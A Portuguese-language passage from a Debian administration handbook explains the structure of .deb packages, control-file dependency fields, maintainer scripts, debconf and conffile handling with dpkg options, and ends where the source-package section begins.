APT (abreviação de "Advanced Packaging Tool" - "Ferramenta de Empacotamento Avançada") é um conjunto de programas que permite a execução de modificações alto nível no sistema: instalando ou removendo um pacote (enquanto mantém as dependências satisfeitas), atualizando o sistema, listando pacotes disponíveis, etc.

Quanto ao programa ar, fornecido pelo pacote binutils, ele permite a manipulação de arquivos de mesmo nome:

ar t arquivamento mostra a lista de arquivos contidos em tal arquivamento,

ar x arquivamento extrai os arquivos do arquivamento no diretório de trabalho atual,

ar d archive arquivo apaga um arquivo do arquivamento, etc.

Sua página man (ar(1)) documenta todas as demais funcionalidades. ar é uma ferramenta muito rudimentar que um administrador Unix usaria apenas em raras ocasiões, mas os administradores usam rotineiramente o tar, um programa de gerencia de arquivos e arquivamentos mais evoluído. É por isso que é fácil recuperar o dpkg no caso de uma remoção errônea. Você teria apenas que baixar o pacote Debian e extrair o conteúdo do arquivamento data.tar.xz na raiz do sistema (/):

# ar x dpkg_1.20.9_amd64.deb # tar -C / -p -xJf data.tar.xz

DE VOLTA AO BÁSICO Notação de páginas de manual

Pode ser confuso para iniciantes encontrarem referências para “ar(1)” na literatura. Isto é geralmente uma forma conveniente de se referir à página man intitulada ar na seção 1.

Algumas vezes esta notação é também usada para remover ambiguidades, por exemplo para distinguir entre o comando printf que pode ser indicado por printf(1) e a função printf da linguagem de programação C, que pode ser indicada por printf(3).

Capítulo 7, Resolvendo Problemas e Encontrando Informações Relevantes discute as páginas de manual em muito mais detalhes (veja em Seção 7.1.1, “Páginas do Manual”).

Dê uma olhada no conteúdo de um arquivo .deb:

$ ar t dpkg_1.20.9_amd64.deb debian-binary control.tar.gz data.tar.xz $ ar x dpkg_1.20.9_amd64.deb $ ls control.tar.gz data.tar.xz debian-binary dpkg_1.20.9_amd64.deb $ tar tJf data.tar.xz | head -n 16 ./ ./etc/ ./etc/alternatives/ ./etc/alternatives/README ./etc/cron.daily/ ./etc/cron.daily/dpkg ./etc/dpkg/ ./etc/dpkg/dpkg.cfg ./etc/dpkg/dpkg.cfg.d/ ./etc/logrotate.d/ ./etc/logrotate.d/alternatives ./etc/logrotate.d/dpkg ./sbin/ ./sbin/start-stop-daemon ./usr/ ./usr/bin/ $ tar tJf control.tar.xz ./ ./conffiles ./control ./md5sums ./postrm $ cat debian-binary 2.0

Como você pode ver, o arquivo ar de um pacote Debian é composto de três arquivos:

debian-binary

Este é um arquivo texto que simplesmente indica a versão de formato de pacote do arquivo .deb. No Debian Bullseye ainda é a versão 2.0.

control.tar.xz

Este arquivamento contém todas as meta-informações disponíveis, como o nome e a versão do pacote. Algumas destas meta-informações servem para que as ferramentas de gestão de pacotes determinem se é possível instalar e desinstalar o pacote, por exemplo, de acordo com a lista de pacotes já instalados na máquina.

data.tar.xz, data.tar.bz2, data.tar.gz

Este arquivamento contém todos os arquivos para serem extraídos do pacote; é onde os arquivos executáveis, documentação, etc, estão todos estocados. Pacotes podem usar outros formatos de compressão, e neste caso o arquivo terá um nome diferente para xz, bzip2 or gzip.

5.2. Metainformação do Pacote

O pacote Debian não é apenas um arquivamento de arquivos prontos para serem instalados. Ele é parte de um todo, e descreve sua relação com outros pacotes Debian (requisitos, dependências, conflitos, sugestões). Ele também fornece scripts que habilitam a execução de comandos em diferentes estágios do ciclo de vida do pacote (instalação, atualizações, remoção). Estes dados são usados pelas ferramentas de gerencia de pacotes mas não são parte do programa empacotado, eles são, junto com o pacote, o que chamamos de sua “meta-informação” - informação sobre outras informações.

5.2.1. Descrição: O arquivo control

Este arquivo usa uma estrutura similar aos cabeçalhos de email (como definido pela RFC 2822) e é completamente descrito na Política Debian e nas páginas man deb-control(5) e deb822(5).

→ https://www.debian.org/doc/debian-policy/ch-controlfields.html

Por exemplo, para o apt, o arquivo control parece com algo como:

$ apt-cache show apt Package: apt Version: 2.2.4 Installed-Size: 4337 Maintainer: APT Development Team <deity@lists.debian.org> Architecture: amd64 Replaces: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~) Provides: apt-transport-https (= 2.2.4) Depends: adduser, gpgv | gpgv2 | gpgv1, libapt-pkg6.0 (>= 2.2.4), debian-archive-keyring, libc6 (>= 2.15), libgcc-s1 (>= 3.0), libgnutls30 (>= 3.7.0), libseccomp2 (>= 2.4.2), libstdc++6 (>= 9), libsystemd0 Recommends: ca-certificates Suggests: apt-doc, aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), gnupg | gnupg2 | gnupg1, powermgmt-base Breaks: apt-transport-https (<< 1.5~alpha4~), apt-utils (<< 1.3~exp2~), aptitude (<< 0.8.10) Description-en: commandline package manager This package provides commandline tools for searching and managing as well as querying information about packages as a low-level access to all features of the libapt-pkg library. . These include: * apt-get for retrieval of packages and information about them from authenticated sources and for installation, upgrade and removal of packages together with their dependencies * apt-cache for querying available information about installed as well as installable packages * apt-cdrom to use removable media as a source for packages * apt-config as an interface to the configuration settings * apt-key as an interface to manage authentication keys Description-md5: 9fb97a88cb7383934ef963352b53b4a7 Tag: admin::package-management, devel::lang:ruby, hardware::storage, hardware::storage:cd, implemented-in::c++, implemented-in::perl, implemented-in::ruby, interface::commandline, network::client, protocol::ftp, protocol::http, protocol::ipv6, role::program, scope::application, scope::utility, suite::debian, use::downloading, use::organizing, use::playing, use::searching, works-with-format::html, works-with::audio, works-with::software:package, works-with::text Section: admin Priority: required Filename: pool/main/a/apt/apt_2.2.4_amd64.deb Size: 1491328 MD5sum: 24d53e8dd75095640a167f40476c0442 SHA256: 75f07c4965ff0813f26623a1164e162538f5e94defba6961347527ed71bc4f3d

Vamos dar uma olhada mais de perto no objetivo de alguns campos listados pelos comandos anteriores.

DE VOLTA AO BÁSICO RFC — Padrões da Internet

RFC é a sigla de “Request For Comments” (requisitando comentários). Um RFC é geralmente um documento técnico que descreve o que se tornará um padrão de Internet. Antes de se padronizar e congelar, estes padrões são submetidos para revisão pública (por isto o nome). O IETF (Internet Engineering Task Force - Força-tarefa de Engenharia da Internet) decide sobre a evolução do status destes documentos (proposed standard - padrão proposto, draft standard - padrão rascunho ou standard - padrão).

RFC 2026 define o processo de padronização dos protocolos de Internet.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Dependências: o campo Depends (depende de)

As dependências são definidas no campo Depends no cabeçalho do pacote. Esta é uma lista de condições a serem satisfeitas para o pacote funcionar corretamente. Esta informação é usada por ferramentas como o apt para instalar bibliotecas, ferramentas e drivers necessários nas versões corretas, preenchendo as dependências do pacote a ser instalado. Para cada dependência, é possível restringir o intervalo de versões que satisfazem esta condição. Em outras palavras, é possível expressar o fato de que nós precisamos do pacote libc6 em uma versão igual ou superior a “2.15” (escreve-se “libc6 (>= 2.15)”). Operadores de comparação de versão são os seguintes:

<<: menor que;

<=: menor ou igual que;

=: igual a (obs, este “2.6.1” não é igual a “2.6.1-1”);

>=: maior ou igual que;

>>: maior que.

Numa lista de condições para serem satisfeitas, a vírgula serve como um separador. Ela deve ser interpretada como um "e" lógico. Em condicionais, a barra vertical ("|") expressa um "ou" lógico (é um "ou" inclusivo, não um "ou isto ou aquilo"). Tem prioridade sobre o "e", pode ser usado tanto quanto necessário. Portanto, a dependência "(A ou B) e C" é escrita como A | B, C. Por outro lado, a expressão "A ou (B e C)" deve ser escrita como "(A ou B) e (A ou C)", uma vez que o campo Depends não aceita parêntesis que mudem a ordem de prioridades entre os operadores lógicos "ou" e "e". Ele poderia ser escrito, portanto, como A | B, A | C.

→ https://www.debian.org/doc/debian-policy/#document-chch-relationships.html#syntax-of-relationship-fields

O sistema de dependências é um bom mecanismo para garantir a operação de um programa, mas ele tem outro uso com os "meta-pacotes". Estes são pacotes vazios que apenas descrevem dependências. Eles facilitam a instalação de um grupo consistente de programas pré-selecionados pelo mantenedor do meta-pacote; assim, apt install meta-package vai instalar automaticamente todos os programas nas dependências do meta-pacote. Os pacotes gnome, kde-full e linux-image-amd64 são exemplos de meta-pacotes.

Os campos DEBIAN POLICY, Recommends, Suggests e Enhances

Os campos Recommends e Suggests descrevem dependências que não são compulsórias. As dependências "recomendadas" (recommended), as mais importantes, melhoram consideravelmente a funcionalidade oferecida pelo pacote mas não são indispensáveis para seu funcionamento. As dependências "sugeridas" (suggested), de importância secundária, indicam que certos pacotes podem complementar e melhorar suas funcionalidades, mas é perfeitamente normal instalar o pacotes sem estas "sugestões".

Você deve sempre instalar os pacotes “recommended”, a menos que saiba exatamente por que não precisa deles. Isso agora também é o padrão para o APT a menos que ele esteja configurado diferente. Por outro lado, não é necessário instalar pacotes “suggested” a menos que você saiba por que precisa deles (a descrição ou documentação do pacote pode conter informações sobre que funcionalidades extra ele ativa). O comportamento do apt pode ser controlado usando as opções de configuração APT::Install-Recommends e APT::Install-Suggests ou as opções de linha de comando correspondentes --[no-]install-recommends e --[no-]install-suggests.

O campo Enhances também descreve uma sugestão, mas num contexto diferente. Ele é, na verdade, localizado no pacote sugerido, e não no pacote que se beneficia da sugestão. Seu interesse reside no fato de ser possível adicionar uma sugestão sem ter que modificar o pacote beneficiado. Assim, todos os extras, plugins e outras extensões de um programa podem, então, aparecer na lista de sugestões relativas ao software. Embora exista a vários anos, este último campo ainda é bastante ignorado por vários programas como o apt ou o synaptic. O objetivo é que uma sugestão feita pelo campo Enhances apareça para o usuário junto com as sugestões adicionais — encontradas no campo Suggests.

DEBIAN POLICY Pre-Depends, um Depends mais exigente

“Pré-dependências”, que são listadas no campo “Pre-Depends” nos cabeçalhos dos pacotes, completam as dependências normais; suas sintaxes são idênticas. Uma dependência normal indica que o pacote em questão deve ser desempacotado antes do pacote que declarou dependência. Uma pré-dependência estipula que o pacote em questão deve ser desempacotado e configurado antes da execução do script de pré-instalação do pacote declarando dependência, que é antes da sua instalação.

Uma pré-dependência é muito pesada para o apt, por que ela adiciona uma restrição estrita na ordem dos pacotes a instalar. Desta forma, pré-dependências são desencorajadas a menos que absolutamente necessárias. É até mesmo recomendado consultar outros desenvolvedores no <debian-devel@lists.debian.org> antes de adicionar uma pré-dependência. Geralmente é possível encontrar outra solução que resolva o problema.

5.2.1.2. Conflicts: o campo Conflicts

O campo Conflicts indica quando um pacote não pode ser instalado simultaneamente com outro. As razões mais comuns para isto é que ambos os pacotes incluem um arquivo de mesmo nome e caminho, ou fornecem o mesmo serviço na mesma porta TCP, ou vão atrapalhar a operação um do outro.

O dpkg vai se recusar a instalar um pacote se ele iniciar um conflito com um pacote já instalado, a menos que o novo pacote especifique que ele "substitui" o pacote instalado, e neste caso o dpkg vai escolher substituir o pacote antigo pelo novo. O apt sempre vai seguir suas instruções: se você escolher instalar um novo pacote, ele vai automaticamente se oferecer para desinstalar o pacote que apresentar um problema.

5.2.1.3. Incompatibilidades: o campo Breaks

O campo Breaks tem um efeito similar ao do campo Conflicts, mas com um significado especial. Ele assinala que a instalação de um pacote vai "quebrar" outro pacote (ou versões específicas dele). Em geral, esta incompatibilidade entre dois pacotes é transitória, e a relação Breaks se refere especificamente a estas versões incompatíveis.

O dpkg vai se recusar a instalar um pacote que quebra um pacote já instalado, e o apt vai tentar resolver o problema atualizando o pacote que vai ser quebrado para uma nova versão (que se espera que tenha sido corrigida, logo, voltou a ser compatível).

Este tipo de situação pode ocorrer no caso de atualizações sem retrocompatibilidade: este é o caso se a nova versão não funciona mais com a versão antiga, e causa um mal funcionamento em outro programa sem fazer "provisões especiais". O campo Breaks evita que o usuário se ponha nestes tipos de problemas.

5.2.1.4. Itens fornecidos: o campo Provides

Este campo introduz o interessante conceito de "pacote virtual". Ele tem muitos papéis, mas dois são de especial importância. O primeiro consiste em usar um pacote virtual para associar um serviço genérico com ele (o pacote "fornece" o serviço). O segundo indica que um pacote substitui completamente o outro, e que para este propósito ele também pode satisfazer as dependências que o outro satisfaz. É também possível criar um pacote de substituição sem ter que usar o mesmo nome de pacote.

VOCABULARY Meta-pacote e pacote virtual

É essencial distinguir claramente meta-pacotes de pacotes virtuais. Os primeiros são pacotes reais (incluindo arquivos .deb reais), cujo único propósito é expressar dependências.

Pacotes virtuais, por outro lado, não existem fisicamente; eles são simplesmente um meio de identificar pacotes reais baseado em critérios lógicos, comuns (serviço fornecido, compatibilidade com um programa padrão ou um pacote preexistente, etc.).

5.2.1.4.1. Fornecendo um “Serviço”

Vamos discutir o primeiro caso em maiores detalhes com um exemplo: Dizemos que todos os servidores de e-mail, como o postfix ou o sendmail "fornecem" o pacote virtual mail-transport-agent. Então, qualquer pacote que precise deste serviço para ser funcional (e.g. um gerenciador de lista de e-mail, como o smartlist ou o sympa) simplesmente afirma nas suas dependências que ele precisa de um mail-transport-agent ao invés de especificar uma grande porém incompleta lista de possíveis soluções (e.g. postfix | sendmail | exim4 | …). Além disso, é inútil instalar dois servidores de e-mail na mesma máquina, sendo por isso que cada um destes pacotes declara um conflito com o pacote virtual mail-transport-agent. Um conflito entre um pacote e ele próprio é ignorado pelo sistema, mas esta técnica irá proibir a instalação de dois servidores de e-mail lado a lado.

DEBIAN POLICY Lista de pacotes virtuais

Para que pacotes virtuais sejam úteis, todos têm que concordar com seus nomes. É por isto que eles são padronizados na Política Debian. A lista inclui entre outros mail-transport-agent para servidores de e-mail, c-compiler para compiladores de linguagem C, www-browser para navegadores web, httpd para servidores web, ftp-server para servidores FTP, x-terminal-emulator para emuladores de terminal em modo gráfico (xterm) e x-window-manager para gerenciadores de janelas.

A lista completa pode ser encontrada na rede.

→ https://www.debian.org/doc/packaging-manuals/virtual-package-names-list.yaml

5.2.1.4.2. "Interchangeability" com outro pacote

O campo Provides é também interessante quando o conteúdo de um pacote é incluído em um pacote maior. Por exemplo, o módulo Perl libdigest-md5-perl era um módulo opcional no Perl 5.6, e foi integrado como padrão no Perl 5.8 (e versões posteriores, como a 5.32.1 presente no Bullseye). Desta forma, o pacote perl tem, desde a versão 5.8, declarado Provides: libdigest-md5-perl de forma que as dependências neste pacote são satisfeitas se o usuário tem o Perl 5.8 (ou mais recentes). O pacote libdigest-md5-perl será eventualmente removido, uma vez que ele não terá utilidade quando versões antigas do Perl forem removidas.

Figura 5.1. Uso de um campo Provides para não quebrar dependências

Esta funcionalidade é muito útil, já que nunca é possível antecipar os caprichos do desenvolvimento, e é preciso poder se renomear, e fazer outras substituições automáticas, de software obsoleto.

DE VOLTA AO BÁSICO Perl, uma linguagem de programação

Perl (Practical Extraction and Report Language) é uma linguagem de programação muito popular. Ela tem muitos módulos prontos-para-usar que cobrem um vasto espectro de aplicações e que são distribuídas pelos servidores CPAN (Comprehensive Perl Archive Network), uma ampla rede de pacotes Perl.

→ https://www.perl.org/

→ https://www.cpan.org/

Como é uma linguagem interpretada, um programa escrito em Perl não precisa de compilação antes da execução. É por isto que são chamados "scripts Perl".

5.2.1.4.3. Limitações Antigas

Pacotes virtuais costumavam sofrer de algumas limitações, sendo que a mais significante era a ausência de número de versão. Voltando ao exemplo anterior, uma dependência como Depends: libdigest-md5-perl (>= 1.6), independente da presença do Perl 5.10, nunca vai ser considerada como satisfeita pelo sistema de empacotamento — embora provavelmente esteja satisfeita. Sem perceber isto, o sistema de empacotamento escolhe a opção menos arriscada, assumindo que as versões não combinam.

Essa limitação foi superada no dpkg.1.17.11, e não é mais relevante. Pacotes, como perl 5.32.1, podem atribuir uma versão aos pacotes virtuais que eles fornecem, tal como Provides: libdigest-md5-perl (= 1.8), e assim possibilita outros pacotes usarem dependências versionadas.

5.2.1.5. Substituindo arquivos: o campo Replaces

O campo Replaces indica que o pacote contém arquivos que também estão presentes em outros pacotes, mas que o pacote foi designado legitimamente para substituí-los. Sem esta especificação, o dpkg falha, dizendo que não pode sobrescrever arquivos de outro pacote (tecnicamente, é possível forçá-lo a tal com a opção --force-overwrite, mas isso não é considerado uma operação padrão). Isto permite a identificação de problemas potenciais e requer que o mantenedor estude o assunto antes de escolher se adiciona tal campo.

O uso deste campo é justificado quando os nomes dos pacotes mudam ou quando um pacote é incluído em outro. Também acontece quando o mantenedor decide distribuir arquivos diferentes entre vários pacotes binários produzidos a partir do mesmo fonte: um arquivo substituído não pertence mais ao pacote antigo, mas apenas ao novo.

Se todos os arquivos num pacote instalado foram substituídos, o pacote é considerado "a ser removido". Finalmente, este campo também encoraja o dpkg a remover o pacote substituído onde existir conflito.

INDO ALÉM O campo Tag

No exemplo do apt no começo, vimos um campo que ainda não descrevemos, O campo Tag ("etiqueta"). Este campo não descreve uma relação entre pacotes, é simplesmente uma forma de categorizar um pacote numa taxonomia temática. Esta classificação de pacote de acordo com vários critérios (tipo de interface, linguagem de programação, domínio de aplicação, etc) está disponível a muito tempo. Apesar disto, nem todos os pacotes têm etiquetas precisas e estas ainda não estão integradas em todas as ferramentas Debian; o aptitude mostra estas etiquetas, e permite que elas sejam usadas como critério de busca. Para os que não gostam dos critérios de busca do aptitude, o seguinte sítio permite navegação no banco de dados de etiquetas:

→ https://wiki.debian.org/Debtags

5.2.2. Scripts de Configuração

Além do arquivo control, o arquivamento control.tar.gz para cada pacote Debian pode conter vários scripts, chamados pelo dpkg em diferentes estágios do processamento de um pacote. A política Debian descreve os possíveis casos em detalhes, especificando os scripts e os argumentos que eles recebem. Estas sequências podem ser complicadas, já que se um dos scripts falha, o dpkg vai tentar retornar a um estado satisfatório cancelando a instalação ou a remoção em andamento (na medida do possível).

→ https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html

INDO ALÉM banco de dados do dpkg

Todos os scripts de configuração para pacotes instalados são armazenados no diretório /var/lib/dpkg/info/, na forma de um arquivo prefixado com o nome do pacote. Este diretório também inclui um arquivo com a extensão .list para cada pacote, contendo a lista de arquivos que pertencem a este pacote.

O arquivo /var/lib/dpkg/status contém uma série de blocos de dados (no formato dos famosos mail headers, RFC 2822) descrevendo o status de cada pacote. A informação do arquivo control dos pacotes instalados é duplicada aqui.

Em geral, o script preinst é executado antes da instalação do pacote, enquanto que o postinst é logo depois. Da mesma forma, o prerm é chamado antes da remoção de um pacote e o postrm depois. Uma atualização de um pacote é equivalente à remoção da versão anterior e a instalação do novo. Não é possível descrever em detalhes todos os cenários possíveis aqui, mas vamos discutir os dois mais comuns: uma instalação/atualização e uma remoção.

ATENÇÃO nomes simbólicos dos scripts

As sequências descritas nesta seção chamam scripts de configuração por nomes específicos, como old-prerm ou new-postinst. Eles são, respectivamente, o script prerm contido na versão antiga do pacote (instalado antes da atualização) e o script postinst contido na nova versão (instalado pela atualização).

DICA Diagramas de estado

Manoj Srivastava e Margarita Manterola fizeram os seguintes diagramas explicando como os scripts de configuração são chamados pelo dpkg.

→ https://people.debian.org/~srivasta/MaintainerScripts.html

→ https://www.debian.org/doc/debian-policy/ap-flowcharts.html

5.2.2.1. Instalação e upgrade (atualização)

Durante a instalação inicial e para cada atualização de pacote, o dpkg chama os maintainer scripts (scripts do mantenedor) como o prerm ou preinst. Estes scripts podem realizar ações adicionais durante os diferentes estágios do ciclo de vida de um pacote. Nomes de script iniciados por new- são os scripts da nova versão de um pacote sendo instalado ou atualizado. Nomes de script iniciados por old- são os scripts de uma versão antiga de um pacote que está sendo atualizado.

Durante cada invocação, o dpkg vai passar certos argumentos para cada script, como por exemplo upgrade new-version. O script invocado pode então tanto manipular os argumentos e realizar uma ação particular, ou ignorar os argumentos e retornar com um código de saída de 0, se nada precisar ser feito durante este passo. Na prática, muitos pacotes não vão precisar realizar nenhuma ação durante cada passo no ciclo de vida. Então um script de configuração típico vai verificar por um argumento em particular e ignorar todos os outros, implicitamente retornando código de saída 0.

Aqui está o que acontece durante uma instalação (ou um update). Os argumentos old-version (versão antiga), new-version (versão nova) e last-version-configured (última versão configurada) são substitutos para os números de versão reais (o velho e o novo) do pacote:

Para uma atualização ("update"), o dpkg chama o script old-prerm e passa upgrade nova-versão como argumento.

Ainda para uma atualização, o dpkg então executa o script new-preinst com os argumentos upgradeantiga-versão; para a instalação inicial, ele executa o script new-preinst e passa install como argumento. Ele pode adicionar a versão antiga no último parâmetro, se o pacote já foi instalado e removido desde então (mas não expurgado ("purged"), e então os arquivos de configuração ficam mantidos).

Os arquivos do novo pacote são então desempacotados, se algum arquivo já existe, ele é substituído, mas uma cópia de backup é temporariamente feita.

Para uma atualização, o dpkg executa o script old-postrm e passa upgrade nova-versão como argumento.

dpkg atualiza todos os dados internos (lista de arquivos, scripts de configuração, etc.) e remove os backups dos arquivos substituídos. Este é o ponto sem volta: o dpkg não tem mais acesso a todos os elementos necessários para retornar ao estado anterior.

O dpkg vai atualizar os arquivos de configuração, pedindo ao usuário para decidir se ele não for capaz de decidir tudo sozinho. Os detalhes deste procedimento são discutidos em Seção 5.2.3, “Checksums, Lista de arquivos de configuração, e outros.”.

Finalmente, o dpkg configura o pacote executando o script new-postinst com os argumentos configure última-versão-configurada.

5.2.2.2. Remoção de pacote

Os passos para remover um pacote são análogos aos passos de instalação. A principal diferença é que os scripts de remoção do pacote são chamados:

o dpkg chama o script prerm e passa remove como argumento.

O dpkg remove todos os arquivos do pacote, com exceção dos arquivos de configuração e os scripts do mantenedor.

O dpkg executa o script postrm e passa remove como argumento. Em seguida, todos os scripts do mantenedor, exceto o script postrm, são removidos. Se o usuário não utilizou a opção “purge”, o processo para aqui.

Para um purge completo do pacote (comando lançado com dpkg --purge ou dpkg -P), os arquivos de configuração são também apagados, assim como uma certa quantidade de cópias (*.dpkg-tmp, *.dpkg-old, *.dpkg-new) e arquivos temporários; então o dpkg executa o script postrm e passa purge como argumento.

VOCABULARY Purge, remoção completa

Quando um pacote Debian é removido, os arquivos de configuração são mantidos para facilitar uma possível reinstalação. Do mesmo modo, dados gerados por um serviço (como o conteúdo de um servidor de diretórios LDAP ou o banco de dados de um servidor SQL) são normalmente mantidos.

Para remover todos os dados associados a um pacote, é necessário fazer “purge” no pacote com o comando, dpkg -P pacote, apt-get remove --purge pacote ou aptitude purge pacote.

Dada a natureza definitiva de tais remoções de dados, um 'purge' não deve ser tratado de forma leviana.

Os quatro scripts detalhados acima são complementados por um script config, fornecido por pacotes usando debconf para adquirir informações do usuário para a configuração. Durante a instalação, este script define em detalhes as perguntas feitas pelo debconf. As respostas são gravadas no banco de dados do debconf para futura referência. O script é geralmente executado pelo apt antes de instalar pacotes, um a um para agrupar todas as perguntas e fazê-las todas ao usuário no começo do processo. Os scripts de pre- e pos-instalação podem então usar esta informação para operar de acordo com o que o usuário espera.

FERRAMENTA debconf

O debconf foi criado para resolver um problema recorrente no Debian. Todos os pacotes Debian que não funcionavam sem um mínimo de configuração costumavam fazer perguntas através de chamadas aos comandos echo e read em scripts shell postinst (e outros scripts similares). Mas acontecia que durante uma grande instalação ou atualização, o usuário tinha que ficar junto ao computador para responder a várias perguntas que apareciam a qualquer momento. Estas interações manuais agora foram quase que completamente dispensadas, graças à ferramenta debconf.

O debconf tem muitas funcionalidades interessantes: ele pede que o desenvolvedor especifique a interação com o usuário; Ele permite localização de todas as strings de caracteres mostradas para o usuário (todas as traduções são guardadas no arquivo templates descrevendo as interações); tem modelos de visualização diferentes para apresentar as perguntas ao usuário (modo texto, modo gráfico, não-interativo); e permite a criação de um banco de dados central de respostas para compartilhar a mesma configuração com vários computadores... mas o mais importante é que agora é possível apresentar todas as perguntas de uma vez para o usuário antes de começar uma longa instalação ou atualização. O usuário pode fazer outras coisas enquanto o sistema cuida da instalação sozinho, sem ter que ficar olhando para um tela a espera da próxima pergunta.

5.2.3. Checksums, Lista de arquivos de configuração, e outros.

Adicionalmente aos scripts de manutenção e dados de controle já mencionados nas seções anteriores, o arquivamento control.tar.gz de um pacote Debian pode conter outros arquivos interessantes.

O primeiro, md5sums, contém as verificações (checksums) MD5 de todos os arquivos do pacote. Sua principal vantagem é que permite que o dpkg --verify (que vamos estudar em Seção 14.3.4.1, “Auditando Pacotes com o dpkg --verify”) e debsums (do pacote de mesmo nome; veja Seção 14.3.4.2, “Auditando Pacotes: debsums e seus limites”) para verificar se estes arquivos foram modificados desde a instalação deles. Repare que quando este arquivo não existe, que pode ser o caso para alguns pacotes antigos, o dpkg vai gerar ele dinamicamente em tempo de instalação (e armazenar ele no banco de dados do dpkg assim como os outros arquivos de controle).

O arquivo conffiles lista arquivos do pacote que devem ser manipulados como arquivos de configuração (veja também deb-conffiles(5)). Arquivos de configuração podem ser modificados pelo administrador, e o dpkg tentará preservar estas mudanças durante uma atualização de pacote.

Com efeito, nesta situação, o dpkg se comporta o mais inteligente possível: se o arquivo de configuração padrão não mudou entre duas versões, ele não faz nada. Se, entretanto, o arquivo mudou, ele vai tentar atualizar o arquivo. Dos casos são possíveis: ou o administrador não tocou neste arquivo de configuração, e neste caso o dpkg automaticamente instala a nova versão; ou o arquivo foi modificado, e neste caso o dpkg pergunta ao administrador qual versão ele quer usar (a antiga com modificações ou a nova que o pacote fornece). Para auxiliar nesta decisão, o dpkg se oferece para mostrar um “diff” que mostra a diferença entre as duas versões. Se o usuário escolhe manter a versão antiga, a nova vai ser armazenada na mesma localização em um arquivo com o sufixo .dpkg-dist. Se o usuário escolhe a nova versão, a antiga é mentida num arquivo com o sufixo .dpkg-old. Outra ação disponível consiste em interromper momentaneamente o dpkg para editar o arquivo e tentar reinstalar as modificações relevantes (previamente identificadas com o diff).

INDO ALÉM Forçar o dpkg a perguntar sobre arquivos de configuração

A opção --force-confask pede ao dpkg para mostrar as perguntas sobre os arquivos de configuração, mesmo nos casos onde eles normalmente não são necessários. Portanto, quando estiver reinstalando um pacote com esta opção, o dpkg vai refazer as perguntas para todos os arquivos de configuração modificados ou removidos pelo administrador. Isto é bastante conveniente, especialmente para reinstalar o arquivo de configuração original se este foi apagado e nenhuma outra cópia estiver disponível: uma re-instalação normal não vai funcionar, já que o dpkg considera a remoção uma forma de modificação legítima, e, portanto, não instala o arquivo de configuração desejado.

veja a barra lateral INDO ALÉM Evitando as perguntas do arquivo de configuração sobre como usar estas opções com o APT.

INDO ALÉM Evitando as perguntas do arquivo de configuração

O dpkg cuida de atualizações de arquivos de configuração, mas enquanto faz isto, regularmente interrompe seu trabalho para pedir uma entrada do administrador. Isto não é agradável para aqueles que desejam executar atualizações de uma forma não-iterativa. É por isto que este programa oferece opções para o sistema responder automaticamente de acordo com a mesma lógica: --force-confold retém a versão antiga do arquivo; --force-confnew vai usar a nova versão do arquivo (estas escolhas são respeitadas, mesmo se o arquivo não tiver sido mudado pelo administrador, o que apenas raramente tem o efeito desejado). Adicionando a opção --force-confdef diz ao dpkg para decidir por si só quando uma escolha é apresentada (em outras palavras, quando o arquivo de configuração original não foi alterado), e apenas usa --force-confnew ou --force-confold para outros casos.

Estas opções se aplicam ao dpkg e são explicadas em detalhes no dpkg(1) ou dpkg --force-help, mas na maioria das vezes o administrador vai trabalhar diretamente com os programas aptitude ou apt-get. É, então, necessário saber a sintaxe usada para indicar as opções passadas ao comando dpkg (suas interfaces em linha de comando são muito similares).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

Estas opções também podem ser armazenadas diretamente na configuração do apt. Para isto, simplesmente escreva as linhas seguintes no arquivo/etc/apt/apt.conf.d/local:

Dpkg::Options { "--force-confdef"; "--force-confold"; }

Ao incluir esta opção no arquivo de configuração faz com que ela possa ser usada também numa interface gráfica, como o aptitude.

O arquivo de controle frequentemente contém outros arquivos também, como triggers, shlibs, ou symbols. Estes arquivos são bem descritos em deb-triggers(5), deb-shlibs(5) e deb-symbols(5).

Gatilhos (triggers) foram introduzidos para reduzir a quantidade de eventos duplicados durante a instalação de pacotes, como tarefas de atualização de catalog/database ou registro de arquivos. Pacotes podem definir seus próprios gatilhos ou ativar outros. Uma documentação mais completa pode ser encontrada em /usr/share/doc/dpkg/triggers.txt.gz.

O sistema shlibs é uma alternativa mais antiga e simples ao sistema symbols para declarar dependências para bibliotecas compartilhadas. Ele define o nome e versão do pacote no qual encontrar um SONAME-version específico de uma biblioteca compartilhada. O novo sistema symbols permite, por outro lado, definir a dependência rastreando os símbolos e vendo quando eles são introduzidos ou alterados na biblioteca.

5.3. Estrutura de um Pacote Fonte

5.3.1. Formato

Um pacote fonte é normalmente composto de três arquivos, um .dsc, um .orig.tar.gz e um .debian.tar.xz (ou .diff.gz). Eles permitem a criação de pacotes binários (arquivos .deb descritos acima) dos arquivos de código fonte do programa, que são escritos em uma linguagem de programação.

O arquivo .dsc (Debian Source Control) é um arquivo com um texto curto contendo um cabeçalho RFC 2822 (assim como o arquivo control estudado no Seção 5.2.1, “Descrição: O arquivo control”) que descreve o pacote fonte e indica quais outros arquivos são partes "thereof". É assinado pelo mantenedor, que garante autenticidade. Veja Seção 6.6, “Verificando Autenticidade do Pacote” para mais detalhes sobre o assunto.

Exemplo 5.1. Um arquivo .dsc

